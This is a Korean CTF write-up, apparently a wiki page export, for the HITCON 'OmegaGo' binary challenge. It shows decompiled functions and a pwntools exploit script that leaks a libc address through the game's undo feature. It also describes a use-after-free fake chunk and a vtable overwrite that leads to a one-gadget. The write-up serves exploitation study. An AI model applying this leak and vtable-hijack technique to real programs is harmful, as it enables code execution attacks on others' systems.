Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
titleDeletePlayHistory()
unsigned __int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( gHistory[historyCnt - 1] )
  {
    v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
    operator delete(gHistory[historyCnt - 1]);
    sub_402FE6(&unk_607220, &v1);
    --historyCnt;
  }
  return __readfsqword(0x28u) ^ v2;
}

Debuging

Overflow

  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.

...

Code Block
titleBoard
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.84

$  

Decode

  • 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

...

Code Block
languagepy
titleDecode()
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

...

Structure of Exploit code

  • Payload의 순서는 다음과 같습니다.
Panel
titlePayload 순서
  1. Leak Libc Address
  2. Overwrite the Computer Class
  3. Overwrite the vtable

...

Panel

vtable

void (__fastcall *Play)void (__fastcall *Play)

AI

Heap address

0x4050400x40290A
AIHeap address(UAF)gCmd(0x60943C) 전역 변수User input(Call One gadget)

...

Information for attack

Leak Libc address

  • 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
    • 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
      • AI GameInfo : 0x61d220
      • HUMAN GameInfo : 0x61d160
    • AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
      • Heap address : 0x61d1f0

...

Code Block
languagepy
titleLeak libc address
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

Create a UAF vulnerability(Fake chunk)

  • 앞에서 설명한 취약성을 이용해 UAF 취약성을 만들 수 있습니다.
    • 공격 대상은 AI Class의 vtable 입니다.
    • OmegaGo() 함수에서 AI Class의 vtable 공간으로 8 byte를 요청하고 있습니다.
      • 해당 Chunk의 크기는 0x20이 됩니다.
      • Chunk header(0x10) + Base heap area(0x10)
    • 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.

...

Code Block
#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

surrender()

Overwrite the vtable

  • 다음과 같이 AI vtable을 덮어쓸 수 있습니다.
    • AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.
    • 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다. 
  • 해당 정보를 이용해 다음과 같은 위치 값을 생성할 수 있습니다.
    • 위치 값 : D14, E14, G14, R15, A5, Q6
    • GameInfo.board[9] 영역에 0x609440이 저장되었습니다.

...